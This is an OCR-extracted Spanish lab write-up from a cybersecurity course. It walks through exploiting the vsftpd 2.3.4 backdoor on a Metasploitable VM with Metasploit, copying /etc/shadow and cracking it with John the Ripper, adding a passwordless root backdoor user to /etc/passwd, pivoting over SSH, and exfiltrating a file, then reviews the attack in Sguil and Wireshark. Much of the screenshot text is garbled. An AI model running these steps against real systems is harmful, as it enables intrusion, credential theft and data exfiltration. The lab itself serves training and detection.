513/tcp open login syn-ack ttl 63
514/tcp open shell syn-ack ttl 63
1099/tcp open rmiregistry syn-ack ttl 63
1524/tcp open ingreslock syn-ack ttl 63
2049/tcp open nfs syn-ack ttl 63
2121/tcp open ccproxy-ftp syn-ack ttl 63
3306/tcp open mysql syn-ack ttl 63
5432/tcp open postgresql syn-ack ttl 63
5900/tcp open vnc syn-ack ttl 63
6000/tcp open X11 syn-ack ttl 63
6667/tcp open irc syn-ack ttl 63
8009/tcp open ajpl3 syn-ack ttl 63
8180/tcp open unknown syn-ack ttl 63

Nmap done: 32 IP addresses (2 hosts up) scanned in 21.41 seconds

® /home/kali

Bon&o () CTRL DERECHA

20:48
14/8/2022 Ez

8 | P Escribe aquf para buscar / AEQD D) EP

Parte 2 Explotacion: Ahora que se ha determinado que se obtuvo acceso root a la maquina
virtual metasploitable, se procedera a atacar la vulnerabilidad de vsftpd para obtener el control
total de la vm metasploitable. Se afectara el archivo “/etc/shadow™ con el objetivo de acceder a

otros hosts en la red.

o Configurar el ataque: En este paso, se utilizara el metasploit framework para lanzar un
ataque contra la maquina virtual metasploitable a través de la vulnerabilidad de vsftpd.
Metasploit framework es una herramienta que permite desarrollar e implementar ataques

dirigidos a un host remoto. También puede usarse para probar la vulnerabilidad de un sistema.
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o En la terminal de la maquina virtual kali, se debe ingresar msfconsole en el prompt para

iniciar metasploit framework. Este proceso tomara algunos momentos.

root@kali:~# msfconsole

i Linux-2021.2-virtualbo 4 [Corriendo] - Oracle VM VirtualBo - [ul

B eoaPdE-| E O Editando Wired connecti... &) root@kali: fhome/kali 0951PM O ) A LZ25%| @ G B B

root@kali: /home/kali - 0o X
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< HONK >
=l

-[ metasploit vé ev

+ — =—a[ 2134 exploits 9 auxiliary - 364 post
- 592 payloads - 45 encoders - 10 nops

+ — —=[ 8 evasion

Metasploit tip: Metasploit can be configured at startup, s
f ole ) to learn more

msf6 > I

@0 ng o B8 @ @ cr omecHA
#8 | P Escribe aquf para buscar rw’ ™ & g “’l W 9 A O DD 145:;;22 %

o En el prompt de metasploit, se debe ingresar ‘search vsftpd’ para localizar el médulo
asociado con la puerta trasera de vsftpd v2.3.4. Este mddulo seré utilizado para el ataque. La

busqueda tomara algunos momentos, ya que la base de datos se esta generando por primera vez.

R om0 | © 3 Editando Wired connecti... £ root@kali: /home/kali 0952PM ©C ) A S27%| @& & B B
L root@kali: /home/kali - 0O X
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- 1139 auxiliary - 364 post
5 encoders

rs - 10 nops

o Una vez encontrado el mddulo de ataque, se debe ingresar el siguiente comando en el

prompt para utilizar el exploit de la puerta trasera de vsftpd:

msf > use exploit/unix/ftp/vsftpd_234 backdoor
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2 Name

0 eXploit/URIX/FEtp/VSFtpdI2340backdoor 2011-07-03

o En el prompt del exploit, se debe definir el host objetivo como la maquina virtual
Metasploitable. Para ello, se utiliza el siguiente comando: msf exploit(vsftpd_234 backdoor) >
set rhost 209.165.200.235 rhost => 209.165.200.235

Para verificar la configuracion del ataque, se debe introducir el comando show options en el

prompt: msf exploit(vsftpd_234_backdoor) > show options

@ Kali-Linux-2021.2-virtualbox-2md64 [Corriendo] - Oracle VM VirtualBo = =
Broakd-| El O Editando Wired connecti... £]

root@kali: /nome/kali 09:54PM a o
root@kali: /home/kali
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# Name Disclosure Date Rank Check Description

0 eXplLoit/unixX/ftp/VsSFtpdi234 backdooy 2011-07-03 xcellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info @, use 0 or use exploit
Using exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit( ) > set rhost 209.165.200.235
rhost = 209.165.200.235
msf6 exploit( ) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
RHOSTS 209.165.200.235 yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:<path>"
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:

) Automatic

msf6 exploit(

o Esto confirma que el modulo estd configurado correctamente para atacar la
vulnerabilidad de vsftpd en el puerto 21 de la méaquina virtual metasploitable con la direccion
IP 209.165.200.235.

Parte 3 Ejecutar el ataque: En esta etapa, se utilizara el ataque vsftpd para obtener acceso root

a la maquina virtual metasploitable.

o Para iniciar el ataque, se debe ingresar el siguiente comando en el prompt:

msf exploit(vsftpd_234 backdoor) > exploit
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o Una vez que el ataque se ha ejecutado, se accedera al terminal de Metasploit
Framework, lo que proporcionara acceso root a la maquina virtual Metasploitable desde el
host Kali. Se observard que no se muestra ningun indicador del sistema. Para confirmar el

acceso root, se debe ingresar el siguiente commando: whoami

El nombre del usuario como se puede observar es del root.

@ Kali-Linux-2021.2-virtualbox-2md64 [Corriendo] - Oracle VM VirtualBo - a
B omakd- | o | © root@kali: fhome/kali 1007PM O ) A 539%| @ & B B

root@kali: /home/kali - o x

Archivo Acciones Editar Vista Ayuda
whoami

root

o Para verificar el nombre del host, se debe ingresar “hostname”

El nombre del host es metasploitable

Bi

tualbo

— EET X =g E &) root@kali: fhome/kali 10:07PM O 4) A L39%| & C B 4

root@kali: home/kali - o
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whoami
root

hostname

.........

o Para verificar el nombre del host, se debe ingresar “ifconfig”. Este comando mostrara

la configuracion de red actual del host, incluyendo la direccion IP.

hostname
metasploitable
ifconfig

ifconfig

ifconfig
etho

:febf:
NG MULTICAST MTU:15
rors:0 dropped:0 ove ins:0 frame:0
rors:0@ dropped:0 ove uns:0 carrier:0
collisions:0 queuel 00
RX bytes:157647 (153.9 KB) TX bytes:143910 (140.5 KB)
Interrupt:9 Base address:0xd020

Link encap
inet addr:12
inet6 addr:

rruns:@ frame:o
dropped:0 o 1s:0 carrier:0
0

:147317 (143.8 KB) TX bytes:147317 (143.8 KB)
etho

inet addr: 5 Bcast:209.165.
inet6 addr: s: ff:febf:fa7b/64 S

o Para obtener el control total de la maquina virtual metasploitable, el primer paso es
mostrar el contenido del archivo /etc/shadow. Este archivo contiene informacion de las
contrasefias en formato cifrado para las cuentas del sistema, asi como detalles opcionales sobre

la antigliedad de las contrasefias.
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Para visualizar el contenido del archivo, se debe ingresar el siguiente comando:

cat /etc/shadow

N om0 [:::::] ) root@kali: fhome/ka 10:09PM O 4) A L41%| @ G B

root@kali: /home/kali =N
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R 7317 (143.8 KB) TX

. Se debe resaltar el contenido del archivo /etc/shadow, hacer clic derecho sobre el

contenido seleccionado y elegir la opcion "copiar”.

. A continuacidn, se debe abrir un nuevo terminal en la maquina virtual kali e iniciar el

editor de texto nano. Para ello, se debe ingresar el siguiente comando:

root@Kkali:~# nano /root/shadow.txt

smPB-| | o |
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[sudo]

. En el editor nano, hacer clic derecho en el espacio en blanco y seleccionar "pegar".
Después de pegar el contenido, es necesario eliminar cualquier linea en blanco que pueda
aparecer al final, si es necesario. Luego, presionar Ctrl-X para guardar y salir de nano. Se debe

confirmar el guardado del archivo y aceptar el nombre shadow.txt.

133 | Pagina



El archivo /root/shadow.txt guardado se utilizara en un paso posterior con John the Ripper para
descifrar las contrasefias de los nombres de inicio de sesion, facilitando el acceso remoto al

sistema a través de SSH.

. En el mismo terminal, se debe ingresar el siguiente comando para mostrar solo los

detalles correspondientes al usuario root:

root@kali@~# cat /root/shadow.txt | grep root

#
’q | - ' e |Z|"‘ E g qterminal
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id.:14747:0:99999:7 :::

/home/kali

Se observara que el signo de dos puntos (:) separa cada linea en 9 campos. En el ejemplo de la
cuenta del usuario root, root es el nombre de inicio de sesion vy
$13$/avpfBJ1$x0z8w5UF9IV./DRIOEILId. Es la contrasefia cifrada. Los siguientes 6 campos
definen las configuraciones relacionadas con la contrasefia, como la fecha del ultimo cambio,
la antigliedad minima y maxima de la contrasefia, y su fecha de vencimiento. El Gltimo campo

Se reserva para uso futuro.

Para obtener mas informacién sobre el archivo /etc/shadow, se debe escribir man shadow en el

terminal.

. Se debe regresar al terminal de metasploit framework en la maquina virtual kali. Se
agregara un nuevo usuario myroot a la maquina virtual Metasploitable. Este usuario tendra las

mismas configuraciones de contrasefia que root.

Al crear el nuevo usuario, se utilizaran los mismos 9 campos que para el usuario root, pero se
eliminara la contrasefia cifrada asociada con el usuario root y se dejara el campo de la
contrasefia vacio. Cuando el campo de la contrasefia estd vacio, no se requiere ninguna

contrasefia para iniciar sesiobn como myroot.
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El comando echo afiadird una nueva linea para agregar el usuario myroot al archivo

[etc/shadow.

Nota: Es importante asegurarse de que se utilicen dos signos de mayor (>>); de lo contrario, se

sobrescribira el archivo /etc/shadow actual.

B =mpoc- : “g gterminal

Acciones Editar Vista Ayuda

J/root/shadow. txt *

B omPo| [ O |

Archive Acciones Editar Vista Ayuda

. Para verificar que se ha agregado el nuevo usuario myroot al archivo /etc/shadow, se
debe utilizar el siguiente comando para mostrar el contenido del archivo

Esto permitira confirmar que la entrada para el usuario myroot se ha afiadido correctamente.
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ﬁ - = ' ‘@ E|“| EI F¢ qterminal

root @kali: /homefleali

Ayuda
LtUWA.ihZjA5/

Copiar el contenido del archivo /etc/shadow a un archivo de texto nuevo en la VM Kali es
necesario porque el archivo /etc/shadow almacena contrasefias cifradas, asi como informacion
sobre la antigiiedad y caducidad de las contrasefias. Al convertirlo a un archivo de texto, se
facilita la visualizacion y manipulacion de los datos. Esto permite utilizar herramientas
adicionales, como John the Ripper, para descifrar las contrasefias cifradas y analizar la validez

y configuracion de las cuentas de usuario.

Si se introdujera el comando cat /etc/shadow > /root/shadow.txt en la consola de metasploit
framework, el archivo /root/shadow.txt se guardaria en la maquina virtual metasploitable en

lugar de en Kali.

. Para permitir que el usuario myroot inicie sesién con privilegios elevados, se afiadira a
myroot al archivo /etc/passwd con el mismo nimero de 1D de usuario (UID), el mismo nimero
de ID de grupo (GID), la misma descripcion, el mismo directorio de inicio y el mismo shell de
inicio de sesion que el usuario root. El signo de dos puntos (:) separa los campos en el archivo,
y la x en el segundo campo representa la contrasefia del usuario, que se puede encontrar cifrada

en el archivo /etc/shadow.

Se debe regresar a la ventana del terminal en la conexion remota a Metasploitable e introducir

el siguiente comando para ver la informacion correspondiente al usuario root:
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irtualbox-amdsd [Corriendo] -

Eg qterminal 10:35PM O d) A G62%| @ & B P

root@kali: fhome/kali - o x

home/ftp:
:Postar

. Para afiadir la configuracién correspondiente a myroot en el archivo /etc/passwd, se
debe utilizar el siguiente comando echo. Es crucial asegurarse de que se utilicen dos signos de

mayor (>>); de lo contrario, se sobrescribira el archivo /etc/passwd actual.
echo "myroot:x:0:0:root:/root:/bin/bash™ >> /etc/passwd

Para obtener méas informacion sobre el archivo /etc/passwd, se puede escribir man 5 passwd en

el terminal.

. Para verificar que se ha afiadido el nuevo usuario myroot al archivo /etc/passwd, se debe

utilizar el siguiente comando:
cat /etc/passwd

Esto mostrard el contenido del archivo y confirmara que myroot ha sido agregado con la linea.
Con acceso root, el usuario myroot tiene control completo sobre la maquina virtual

Metasploitable.
. Escriban exit cuando hayan terminado.
. Presionen intro y escriban quit para salir de la consola de metasploit framework.

Parte 4 Infiltracion: Decodificar las contrasefias con john the ripper que es una herramienta
utilizada para descubrir contrasefias débiles de los usuarios. En este paso, se utilizara john the

ripper para decodificar las contrasefias cifradas.
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o En el terminal de la méaquina virtual kali, se debe verificar que el archivo shadow esté

ubicado en la carpeta /root de la maquina kali.

o En el terminal de la méquina kali, se debe ingresar el siguiente comando para

decodificar las contrasefias utilizando john the ripper:
root@kali:~# john --show /root/shadow.txt

Esto mostrara las contrasefas decodificadas.
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/home/kali
hn/

® /usr/share/john

d2john. py

/usr/share/john
N

Copiamos en nano

Después de decodificar la contrasefia correspondiente al usuario analyst, se podra acceder a la

maquina virtual metasploitable a través de SSH utilizando analyst como nombre de usuario.
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GNU nano 5.4 password. Lst_*

BE Ayuda Guardar ] rtar j a i o N Poner marca [ Anterior
B salir lazar gar ar r a E acer Copiar r Siguiente
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Encontrar el host objetivo: En este paso utilizaran diferentes comandos para encontrar la
direccion IP de un posible host en la red interna detras de la DMZ.

. Estableceran una sesion SSH con la VM metasploitable. Aceptaran la firma digital de
RSA si es la primera conexidn y deberan introducir cyberops como contrasefia cuando se les

solicite.

‘rmPEA-| E F@ qterminal 10:46PM O ) B @70%| @ |

myroot@metasploitable: ~

ivo Acciones Editar Vista Ayuda

1 SMP Thu Apr 10 13:5
the
tent permitted by

Ubuntu documentation, plea
m/

. Verificaran el acceso root en Metasploitable. Utilizaran el comando su -1 myroot para
cambiar al usuario myroot. Observaran que el prompt cambia de analyst@metasploitable a

root@metasploitable.

analyst@metasploitable:~% su -1 myroot

. Mostraran el contenido del archivo /etc/shadow.

. Escribiran exit para regresar a los privilegios del usuario analyst.
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. Intentaran mostrar el archivo /etc/shadow como analyst y registraran el mensaje de error

recibido.

logout

analyst@metasploitable:~% cat /etc/shadow
cat: /etc/shadow: Permission denied
analyst@metasploitable:~§ ||

El mensaje de error es “Permission denied”. Esto sucede porque el archivo /etc/shadow tiene
permisos restringidos y solo el usuario root puede acceder a él. Como analyst no tiene permisos

elevados, no puede ver el archivo.

. ifconfig para listar todas las interfaces de red en metasploitable.

analyst@ametasploitable:~%

. ip route para determinar el gateway predeterminado de la red: 209.165.200.226
Estableceran una sesion SSH con la VM Security Onion en 209.165.200.226 (interfaz ethl)
como el usuario analyst. Aceptaran la firma digital de RSA si es la primera conexion y utilizaran

cyberops como contrasefia.
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* Documentation: https

n be ups d.
are security upda

B makac)

analyst@SecOnion: ~

Archivo Acciones

INNING PROMIS
g9 rs dropped
dropped:@ over

UP BROADC.
RX packets:90

$:950 errors:0 dropped:@ overruns:@
xqueuelen:1

. Al haber determinado que la subred LAN es 192.168.0.0/24, utilizaran un bucle for para

identificar los hosts activos en la red LAN. Solo realizaran ping a los primeros 15 hosts.

‘mPkBC = E@ qterminal

analyst@SecOnion: =
Archivo Acciones Editar Vista Ayuda

nion:~$ for ( 1 0.$i; done
vio g 68.0.$i; done

time 999ms

time 100!
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354

. Solo 192.168.0.1 (ethO de Security Onion) y 192.168.0.11 (VM CyberOps Workstation)
estan respondiendo las solicitudes ping. Establecer una sesion de SSH en la VM CyberOps
Workstation.

Escribir yes (si) para aceptar la firma digital de RSA cuando se conecten por primera vez.

Introduzcan cyberops como la contrasefia. analyst@SecOnion:~$ ssh 192.168.0.11

Exfiltrar un archivo confidencial: Ahora, con acceso a la VM CyberOps Workstation

mediante una serie de sesiones SSH (desde la VM Kali a través de VM Security Onion),
utilizando la contrasefia descifrada previamente, procederan a acceder a un archivo

confidencial y a exfiltrar su contenido.

. Verificaran gque estan en el directorio de inicio del usuario analyst. Luego, cambiaran al

directorio lab.support.files

s — =y

$ cd lab.support.files

_fileslS ftn 700 _165_ 780 _213

. Generar una lista de archivos en el directorio y verificaran que el archivo confidential.txt

esté presente.
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. Establecer una sesion FTP con la VM metasploitable. Utilizaran el usuario analyst y la
contrasefia cyberops

. Cargar el archivo confidential.txt a la VM metasploitable. De esta manera, tendran

acceso al archivo y podran transferirlo a la VM Kali si lo desean.

. Escribir quit cuando hayan terminado de transferir el archivo.

B oumP B[ ¢ : Kali 128PM O 4 A @95%| @ & B B

root@kali: ~kali Sino %
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e confidential.zip confidential.txt

Cifrar los datos y quitar los originales

. Los actores de amenazas suelen cifrar los datos confidenciales y almacenarlos
localmente, posiblemente para exigir un rescate mas adelante. El archivo confidential.txt sera

comprimido y cifrado con zip, utilizando cyberops como contrasefia.

. Eliminar el archivo confidential.txt de la VM CyberOps Workstation.
. Salir de la sesién actual escribiendo exit tres veces hasta regresar al cursor root@kali:~#
. El atacante ahora puede copiar el archivo desde el servidor FTP de la VM metasploitable

a la VM Kkali. Este proceso podria tardar unos momentos. La contrasefia cyberops se utilizara

cuando el sistema lo solicite.
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e confidential.zip confidential.txt

Nota: El archivo también podria copiarse directamente desde la VM CyberOps Workstation a
la VM Kali si hay una cuenta diferente a la de root configurada en la VM Kkali. Dado que FTP

transmite datos en texto plano, estos seran visibles en los paquetes si se utiliza wireshark.

IR L X EHIEE

Archivo Acciones Editar Vista Ayuda

analyst@metasploitable: ~

. Opcionalmente, se puede volver a iniciar sesion en metasploitable para eliminar el

archivo confidential.txt del servidor FTP.

o @ |5 0@ @ cr omeca
AEO®DY s 145;7;2 2

. Finalmente, se pueden apagar las maquinas virtuales metasploitable, cyberops

workstation y kali.

Revisar los archivos de registro: Después del ataque, el usuario analyst ya no tiene acceso al

archivo confidential.txt.

A continuacién, revisaran los archivos de registro para determinar como se vio afectado el

archivo.
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Revisar alertas en sguil

. Se debe acceder a la VM Security Onion e iniciar sesion con el usuario analyst y la

contrasefia cyberops, Si es necesario.

. Abrir Sguil e iniciar sesion. Luego, se debe hacer clic en Select All (seleccionar todo) y
después en Start SGUIL (iniciar SGUIL).

B Security Onion [Corriendo] - Oracle VM VirtualBox g
@ =EE 15Aug 03:42

SGUIL-0.9.0

Sguil - Atcl/tk interface for network security monitoring.
Copyright (C) 2002-2013 Robert (Bamm) Visscher <cbamm@sguil.net>

This program is distributed under the terms of version 3 of the
GNU Public License. See LICENSE for further details.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Select Network(s) to Monitor

r OReeih. r e =
unmonitored unmonit itored uj

Select All Start SGUIL Exit

=
=
e )
o
pol—
@
i
em

. Revisar los eventos en la columna event message (mensaje de eventos). Dos de los
mensajes son gpl attack response id check returned root. Este mensaje indica que es posible
que se haya obtenido acceso root durante un ataque. EI host de 209.165.200.235 devolvio el
acceso root a 209.165.201.17. Seleccionar las casillas de verificacion show packet data (mostrar

datos del paquete) y show rule (mostrar regla) para ver cada alerta mas detalladamente.

209.165.200.235 6200  209.165.201.17
209.165.200.235 6200 209.165.201.17

v Show Packet Data v Show Rule
alert ip any any ->any any (msg:"GPL ATTACK_R

LI N S Lmm b » .

. Seleccionar el mensaje de acceso root asociado con el sensor seconion-ethl-1 para

realizar un analisis mas profundo.
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1 SGUIL-0.9.0 - Connecte... @ =R [E] 15 Aug, 03:44
SGUIL-0.9.0 - Connected To localhost
ile Query Reports Sound: Off ServerName: localhost UserName: analyst UserlD: 2
RealTime Events | Escalated Events|
/Time rt DPort r | Event M
2022-08-1501:46:14  209.165.201.17 36358  209.165.200.235 5432 6 ET POLICY Suspicious inbound to PostgreSQL port 5432
2022-08-1501:46:14  209.165.201.17 36358  209.165.200.235 5815 6 ET SCAN Potential VNC Scan 5800-5820
4 2022-08-1501:46:18  209.165.201.17 59782  209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
4 2022-08-1501:46:18  209.165.201.17 59782  209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
RT 4 seconion-eth1-1 5.6792 2022-08-1501:46:19  209.165.200.235 6200 209.165.201.17 41996 6 GPL ATTACK_RESPONSE id check returned root
RT 4 seconion-eth2-1 7.6403 2022-08-1501:46:19  209.165.200.235 6200 209.165.201.17 41996 6 GPL ATTACK_RESPONSE id check returned root
RT 2 seconion-ossec 1.5223 2022-08-1502:53:37  209.165.200.235 0.0.0.0 0 [OSSEC] Reverse lookup error (bad ISP or attack).
RT 4 seconion-ossec 1.5225 2022-08-1503:21:31  209.165.200.235 0.0.0.0 [OSSEC] Attempt to login using a non-existent user
RT 1 seconion-ossec 1.5226 2022-08-1503:21:35  209.165.200.235 0.0.0.0 [OSSEC] User login failed.
- 1 seconion-ossec 1.5230 2022-08-1503:22:15  0.0.0.0 0.0.0.0 [OSSEC] User missed the password more than one time -
=
- — I~ Show Packet Data | Show Rule
1P Resolution W Agent Status W Snartstatstxs] System Msgs. ] User Msgs W
[ Reverse DNS [ Enable External DNS o
T Source IP DestIP Ver HL TOS len 1 Flags  Offset TTL Chksum
rclp:
Src Name:
u AP R S F
DstIP: Source Dest R R R C S S ¥ 1
Dst Name: Port Port 1 0 G K H T N N Seq # Ack # Offset Res Window Urp ChkSum
Whois Query: * None ¢ SrcIP [ DstIP
J i
il ‘ " Hex # Text | NoCase

. Hagan clic en el nimero que se encuentra debajo del encabezado cnt para seleccionar

view correlated events (ver eventos correlacionados).

[ SGUIL- - Connected To localhost 4
File Query Reports Sound: Off ServerName: localhost UserName: analyst UserID: 2
RealTime Even\s] Escalated Evenlsw
DPort
RT 2 seconion-ethi-1 5.6788 2022-08-1501:46:14  209.165.201.17 36358  209.165.200.235 5432 6 ET POLICY Suspicious inbound to PostgreSQL port 5432
RT 2 seconion-eth1-1 5.6789 2022-08-1501:46:14  209.165.201.17 36358  209.165.200.235 5815 6 ET SCAN Potential VNC Scan 5800-5820
- 4 seconion-eth1-1 5.6791 2022-08-1501:46:18  209.165.201.17 59782  209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
- 4 seconion-eth2-1 7.6402 2022-08-1501:46:18  209.165.201.17 59782  209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
RT 4 seconion-eth1-1 5.6792 2022-08-1501:46:19  209.165.200.235 6200 209.165.201.17 41996 6 GPL ATTACK_RESPONSE id check returned root
RT View Correlated Events 7.6403 2022-08-1501:46:19  209.165.200.235 6200 209.165.201.17 41996 6 GPL ATTACK_RESPONSE id check returned root
RT 2 seconion-ossec 1.5223 2022-08-1502:53:37  209.165.200.235 0.0.0.0 0 [OSSEC] Reverse lookup error (bad ISP or attack).
RT 4 seconion-ossec 1.5225 2022-08-1503:21:31  209.165.200.235 0.0.0.0 [OSSEC] Attempt to login using a non-existent user
RT 1 seconion-ossec 1.5226 2022-08-1503:21:35  209.165.200.235 0.0.0.0 [0SSEC] User login failed.
- 1 seconion-ossec 1.5230 2022-08-1503:22:15  0.0.0.0 0.0.0.0 [OSSEC] User missed the password more than one time =
=
o [ Show Packet Data | Show Rule
IP Resq n ] Agent Status W SnortStatstus] System Msgs ] User Msgs W
[~ Reverse DNS v Enable External DNS -
T Source IP Dest IP Ver HL TOS len D Flags  Offset TTL ChkSum
rcIP:
Src Name:
U AP RS F
DstIP: Source Dest R R R C S S ¥ 1
Dst Name: Port Pot 1 0 G K HTNN Seq# Ack # Offset Res Window Urp ChkSum
Whois Query: © None  SrcIP ¢ DstIP
J ]
i ‘ © Hex @ Text [ NoCase

. En la nueva pestana, se debe hacer clic derecho sobre el id de alerta correspondiente a
una de las alertas gpl attack_response id check returned root y seleccionar transcripcion. En el

ejemplo proporcionado, se utiliza el id de alerta 5.2570.
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- - + - 0O
File Query Reports Sound: Off ServerName: localhost UserName: analyst UserID: 2 - seconlon-ethl-1.6804 Ll
File H
RealTime Evems] Escalated Events 5.6792 ] Sensor Name: seconion-eth1-1 N
Timestamp: 2022-08-15 02:04:42
close | _Export | Connection ID: .seconion-eth1-1_6804
Date/Time SrcIP Y src1p: 209.165.201.17 (209-165-201-17.got. net)
RT 1 seconion-.. 56792  202208-1501:46:19 209.165.200.235 6200  209.165.201.17 a{DtIP: 209.165.200.235(209-165-200-235. got..net) ’
SrcPort: 39285
RT 1 seconion-.. 56794  202208-1501:55:23 200.165.200.235 6200  209.165.201.17 40 Dst Port: 6200
RT 1 seconion-... 5.6802 2022-08-1502:02:32 209.165.200.235 6200  209.165.201.17 5105 Fingerprint: 209.165.201.17:39285 - UNKNOWN [S44:63:1:60:M1460,5,T,N,W7:.:7:7] (up: 3663 hrs)
S Fingerprint: ->209.165.200, link: eth d
RT 1 seconion-.. 56804  2022-08-1502:04:42 209.165.200.235 6200  209.165.201.17 3
SRC: id
SRC:
DST: uid=0(root) gid=0(root)
DST:
SRC: nohup >/dev/null 2-8&1
SRC:
SRC: echo aTiocDwuUHMLSVCd
SRC: t
DST: aTigclDwuHMLSVCd i
= _— I Show Packet Data [ Sho|;cr
IP Resolution W Agent Status Wsnortstatstlrs] System Msgs W User Msgs ] : i
SRC: echo Blty6s4gl
I Reverse DNS ¥ Enable External DNS S P e H
ource .
SrcIP: DST: Blty6s4gl
DST:
Sl SRC: whoami i
Dst1IP: Source  Dest ;';: .
" roof
9 Port Port
Dst Name: DsT:
Whois Query: * Nene [ SrcIP { DstIP SRC: hostname
SRC: 5
U
Search Abort Close el
il Debug Messages
— e e ;

. Revisen las transcripciones correspondientes a todas las alertas. En la Gltima alerta de
la ficha probablemente se mostraran las transacciones entre kali (actor de la amenaza) y

metasploitable (objetivo) durante el ataque.

. El atacante, desde kali linux, obtuvo acceso al usuario root en metasploitable y afiadid

un nuevo usuario myroot al sistema sin una contrasefia.
Pasar a wireshark

. Seleccionar la alerta para la cual obtuvieron la transcripcion en el paso anterior. Hagan
clic derecho sobre el ID de alerta y elijan Wireshark. En la ventana principal de Wireshark, se

visualizan tres vistas de un paquete.
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P2
W | ™ Event Histary [ SGUIL-0.9.0 - Connecte... [ 2001165, 201.17_ 39285

15 Aug, 03:52]

Unknawn from u

File Edt View Go Capture Analyze Statistics Telephony Tools Intemals Help

eo4imi BOXGE(Q

=1

Filter: v | Expression..

Pratocal Lengti Info

3 165.201.17 269.165.200.235 66 39285-6200 [ACK] 131891

4 209.165.281.17 209.165.200.235 i 63 30285-6200 [PSH, ACK] Seq=l Ack=1 Win=64256 Len=3 TSval=1318915649 TSecr=327350
5 269.165.266.235 269.165.261.17 TP 66 6200-39285 [ACK] Seqs1 Acksd Wins5792 Lens8 TSval=327351 TSecr=1318915649

6 269.165.200.235 269.165.201.17 TR 90 6200-39285 [PSH, ACK] Seq=1 Ack=4 Win=5792 Len=24 TSwal=327351 TSecr=1318915649
7 209.165.201.17 269.165.200.235 TP 66 30285-6200 [ACK] Seq=4 Ack=25 Win=64256 Len=d TSval=1318915654 TSecr=327351

B 8.814167  269.165.261.17 269.165.260.235 TP 88 39285-6200 [PSH, ACK] Seqed Acks=25 Win=B4256 Len=22 TSval=1318915656 TSecrs327351

» Frane 1: 74 bytes on wire (592 bits), 74 bytes captured (502 bits)
» Ethernet II, Src: B6:00:27:51:ac:03 (06:00:27:51:0c:03), Dst: 08:00:27:0f:fa:7b (08:00:27:bf:fa:70)
» Internet Pratacol Wersion 4, Src: 289 1269.165.281.17), Dst: 289.165.268.235 (289.165.

@608 6B B0 27 bf fa 7b 68 8 27 51 ac 63 68 00 45 66 .- (.. '0....E.
6618 60 3c 27 7 4B 60 3f 86 de 6 d1 a5 9 11 41 a5 .<'}g.7 .
628 B eb 99 75 18 38 €5 77 Ba 55 06 60 06 66 2B 62 ...u.B.w .U

8838 fa 6 99 74 BB 0B 82 64 B5 bd B4 62 03 Ba de 93 ...t. N

OF  fle: "Amp209.165.201.17_30285_209.165.200.235_6200-6.raw” 10 kB 00:3..  Packets: 53 - Displayed: 53 (100..

. Para ver todos los paquetes que forman una conversacion tcp, hagan clic derecho sobre
cualquier paquete y seleccionen follow tcp stream (seguir flujo de tcp).

Security Onien [Ceriende] - Oracle VM VirtualBox

wo Msquina Ver Entrada Dispositivos Ayuda

B [ Event History [] SGUIL-0.9.0 - Connecte... [l 209.165.201.17 36285 ...
9285 209.165.200.235_6200: 1 (Git Rev Unknown from unknown)]
ics Telephony Tools Internals Help

@4dms B xclAQ¢rirsy BB @BEE|

file Edit View Go Capture Analyze

Filter: Mark Packet (toggle) Expression...
No. Time lgnore Packet (toggle) Protacol Lengtl Info
(© set Time Reference (toggle)
ERCHCGECTEN © Time Shift... 7 TCP 74 620039285 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS
3 0.603287 Edit Packe 35 TCP 66 39285-6200 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=]
4 0.006200 35 TP 69 39285-6200 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=3 TS
5 0.807973 <1 Packet Comment... 7] TCP 66 6200-39285 [ACK] Seq=1 Ack=4 Win=5792 Len=0 TSval=32|
6 0.010277 " 7 TP 90 6200-39285 [PSH, ACK] Seq=1 Ack=4 Win=5792 Len=24 TS
anually Resolve Address N
7 0.011999 35 TP 66 39285-6200 [ACK] Seq=4 Ack=25 Win=64256 Len=0 TSval=
B OO appyacrier e B8) 3824056290 [P, ACK]) Gor -5 Wi 0425 Len22
» Frame 2: 74 bytes ¢  Prepare a Filter > (592 bits)

» Ethernet II, Src: €
» Internet Protocol \

1), Dst: @8:00:27:51:ac:03 (08:00:27:51:ac:03)

Conversation Filter >
1.165.200.235), Dst: 209.165.201.17 (209.165.201.17)
B

B

Copy >

0066 88 86 27 51 ac

0010 00 3c 00 00 40

0020 9 11 18 38 99 33 Decode As..
0030 16 ab 64 45 60 B Print...

Protocol Preferences >

. El flujo de TCP revela la transaccion entre el atacante y el objetivo, con el texto rojo
representando al actor de amenazas y el texto azul al objetivo. La informacién proporcionada
por TCP coincide con la transcripcion. Luego, salgan de la ventana del flujo de TCP y cierren

wireshark después de haber revisado la informacion.

™1 Event History [ SGUIL-0.8.0 - Connecte... [l 200.165.201.17_30285_ &
209.165.201.17_39285_205.165.200.235_6200-5.
FAlo Edit View Go Capture Analyze
Capt v o + o x
@ | ] =1 ® Stream C
|| fd
Fireer: (EEEEEE—— uid=B(root) gia=Biraot)
nonup _>/dev/null =61
o Time Somrem echo aTi8cTDwuHMLSVED
aTi9c1DuuHMLSYCd
echo B
3 0.003287 65. 2 Bitysesor
4 0.006290  209.165.201.17 || wnosms TSval-1318915643 T
5 8.007973  209.165.200.235 | | root 327351 TSecr-13189
6 6.018277  209.165.200.235 | | hostname TSval-327351 Tsecr|
7 8011998  209.165.201.17 | | metasploitable 1-1318913654 TSecr|
B 8.014167 209.185.201.17 ifconfig 2 TSwal=1318915656(
9 8.052202 209.165.200. 2 1=-327356 TSe 3
(9 0052202 209.188.200.235 | fcontig 27358 Tae !
» Frame 2: 74 bytes en wire (592 Bits)
» Ethernet II, Src: 08:00:27:bf:fa:
» Internet Protocol Version
ifcontig
othe 7:bF:fa:7h
St:209.165.200.255 Mask:255.255,255.224
